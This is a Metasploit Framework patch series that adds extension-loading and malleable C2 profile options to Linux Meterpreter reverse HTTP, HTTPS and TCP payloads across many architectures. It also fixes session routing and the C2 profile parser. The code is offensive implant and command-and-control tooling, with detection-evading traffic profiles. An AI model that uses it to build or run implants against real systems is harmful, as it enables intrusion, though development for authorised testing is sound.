ext_name.strip.downcase - # Windows DLLs go through Reflective DLL Injection prep; non-PE - # runtimes (jar/py/php) ship the file as-is in TLV_TYPE_DATA. - if file_extension.to_s.end_with?('.dll') + # Windows DLLs go through Reflective DLL Injection prep; mettle bins + # come per-platform from the mettle gem; jar/py/php ship as-is. + case file_extension.to_s + when /\.dll$/ ext_path = MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}", file_extension, debug: debug_build) ext, _ = load_rdi_dll(ext_path) + when 'bin' + begin + ext = MetasploitPayloads::Mettle.load_extension(@opts[:mettle_platform], ext_name, 'bin') + rescue MetasploitPayloads::Mettle::NotFoundError + # Mettle bakes some extensions (e.g. stdapi) directly into the + # binary, so there's no separate .bin to ship. Silently + # skip and let the runtime use whatever's already registered. + $stderr.puts("[!] EXTENSIONS=#{ext_name}: no separate '#{ext_name}.bin' for #{@opts[:mettle_platform]} (already built in?), skipping") + return + end else ext = MetasploitPayloads.read('meterpreter', "ext_server_#{ext_name}.#{file_extension}".downcase) end diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb index 515500ccad049..74fd1e8651d6f 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'aarch64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb index 525aae5649b31..726171f530137 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'aarch64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb index 0489aa0e91f7e..fe191ee250614 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'aarch64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb index d68a441ca8d2e..107452889b64f 100644 --- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb @@ -31,11 +31,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armbe_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5b-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb index d62efaa7c8d90..f005e433536ad 100644 --- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb @@ -31,11 +31,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armbe_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5b-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb index 3c5b64a2c1197..294213a0295a9 100644 --- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb @@ -31,11 +31,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armbe_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5b-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb index 2f07f0263344b..efa6d82ded55a 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armle_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5l-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb index 01a15e099d56b..b9a596e53bc26 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armle_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5l-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb index fe08105400165..1c9317ea82fc8 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armle_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5l-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb index cd2b9b030a88c..68f47d2c4d7e4 100644 --- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mips64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips64-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb index c51a456525951..b0a1d704a0778 100644 --- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mips64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips64-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb index 35ec09b6e78e6..8d804e601a386 100644 --- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mips64_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips64-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb index c6611bb201cd8..5e61ffa702d7d 100644 --- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb index f06ded9a7566e..46e31694fb515 100644 --- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb index 0b14e0410b50c..17ed0cb03fb65 100644 --- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb index 7baf9ae3130af..b032c080b8dec 100644 --- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mipsel-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb index 3e71c5ad81993..e7cac7a773ac3 100644 --- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mipsel-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb index 623101101f972..8fd0927da7368 100644 --- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mipsel-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb index 2a9f6c3810f2a..21b08ae5910b7 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb @@ -35,6 +35,7 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end @@ -42,6 +43,8 @@ def generate(_opts = {}) opts = { scheme: 'http', c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'x86_64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb index d38ef903a2b6f..b0a2f9cf3b058 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb @@ -35,6 +35,7 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end @@ -42,6 +43,8 @@ def generate(_opts = {}) opts = { scheme: 'https', c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'x86_64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb index 072960555c151..abe8ba2b5b1c2 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'x86_64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb index 4f28cda163138..3d4459b35accc 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb @@ -35,6 +35,7 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end @@ -42,6 +43,8 @@ def generate(_opts = {}) opts = { scheme: 'http', c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'i486-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb index 41964109ab16b..3c8b69fbfd6cc 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb @@ -35,6 +35,7 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end @@ -42,6 +43,8 @@ def generate(_opts = {}) opts = { scheme: 'https', c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'i486-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb index 005aa79785691..b17403e78b789 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x86_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'i486-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb index 39b5f255c0b62..cba9106427d0b 100644 --- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb @@ -30,11 +30,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_zarch_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 's390x-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb index a4863f8f19c44..6d62c3c488dc8 100644 --- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb @@ -30,11 +30,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_zarch_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 's390x-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb index 45a237826ce41..c64bb462d217e 100644 --- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb @@ -30,11 +30,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_zarch_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 's390x-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec From 45f33dce1279968d925da7b19bf3fd8df2e53214 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 9 Jun 2026 09:06:57 +1000 Subject: [PATCH 59/65] Fallback to global UA if not present in profile --- lib/rex/payloads/meterpreter/config.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index c122741476603..582258aef7bab 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -87,8 +87,12 @@ def add_c2_tlv(tlv, opts) c2_tlv = profile.to_tlv else c2_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2) + end - c2_tlv.add_tlv(MET::TLV_TYPE_C2_UA, opts[:ua]) unless (opts[:ua] || '').empty? + # Fall back to the datastore UA when the profile didn't `set useragent` + # (or there's no profile at all). + unless (opts[:ua] || '').empty? || c2_tlv.tlvs.any? { |t| t.type == MET::TLV_TYPE_C2_UA } + c2_tlv.add_tlv(MET::TLV_TYPE_C2_UA, opts[:ua]) end c2_tlv.add_tlv(MET::TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) From 8c1a36c05f8487a093db4bed370ae60c492a029f Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 9 Jun 2026 21:15:17 +1000 Subject: [PATCH 60/65] Fix connd_id to session map and C2 comment handling --- lib/msf/core/handler/reverse_http.rb | 26 ++++++++++++++++++++++++++ lib/msf/core/payload/malleable_c2.rb | 6 ++++-- 2 files changed, 30 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 2bab479bc7b52..bbbf25c1b993d 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -355,6 +355,21 @@ def add_response_headers(req, resp) end end + # Return the live meterpreter session whose passive dispatcher is + # registered for this bare conn_id, or nil if none matches. Used so + # MC2 traffic — which Rex routes to on_request because the profile + # URI prefix outranks the session's / mount — can still be + # delivered to the right session instead of triggering a fresh + # "orphaned attach" on every poll. + def session_for_conn_id(bare_conn_id) + return nil if framework.nil? || bare_conn_id.nil? || bare_conn_id.empty? + framework.sessions.each_value do |s| + next unless s.respond_to?(:connection_uuid) + return s if s.connection_uuid == bare_conn_id + end + nil + end + # # Removes the / handler, possibly stopping the service if no sessions are # active on sub-urls. @@ -496,6 +511,17 @@ def on_request(cli, req) # TODO: at some point we may normalise these three cases into just :init if info[:mode] == :connect + # If a session already exists for this conn_id, hand the + # request to its passive dispatcher. Without this, MC2 + # profiles loop forever on "orphaned attach" because the + # profile URI prefix outranks the session's / + # mount in Rex's VirtualDirectory routing. + existing = session_for_conn_id(req.conn_id) + if existing + existing.send(:on_passive_request, cli, req) + self.pending_connections -= 1 + return + end print_status("Attaching orphaned/stageless session...") else begin diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 8b5b497a1f733..7b5f4ed039b7c 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -114,8 +114,10 @@ def tokenize(text) if scanner.scan(/\s+/) # blank line next - elsif scanner.scan(/^\s*#.*$/) - # comment + elsif scanner.scan(/#[^\n]*/) + # comment — anchorless so it matches indented comments too + # (the prior `\s+` rule has already eaten any leading + # whitespace by the time we get here) next elsif scanner.scan(/\"(\\.|[^"])*\"/) @tokens << Token.new(:string, scanner.matched[1..-2]) From 932962b656b7a00056c4e777cacb721383c4994a Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 16 Jun 2026 21:43:52 +1000 Subject: [PATCH 61/65] Tolerate unsupported C2 blocks and split multi-URI directives Make the malleable C2 parser robust to real Cobalt Strike profiles and honour space-separated URI lists. Parser tolerance: detect blocks by lookahead (`name { ... }`) instead of a fixed keyword whitelist, and allow identifier-named blocks/directives. Unsupported blocks (dns-beacon, http-config, process-inject, post-ex, code-signer, ...) are now parsed for structure and ignored by to_tlv rather than aborting the whole profile. A stray top-level directive is consumed instead of raising. Multi-URI support: a `set uri` value may list several space-separated candidate URIs (CS picks one at random per request). ParsedProfile#uris now splits and flattens them so the handler registers a mount per candidate, and add_uri emits a separate TLV_TYPE_C2_URI per candidate (each with the query string) instead of one TLV holding the raw space-joined string, which the client could not turn into a valid URL. --- lib/msf/core/payload/malleable_c2.rb | 80 ++++++++++++++++++++++------ 1 file changed, 64 insertions(+), 16 deletions(-) diff --git 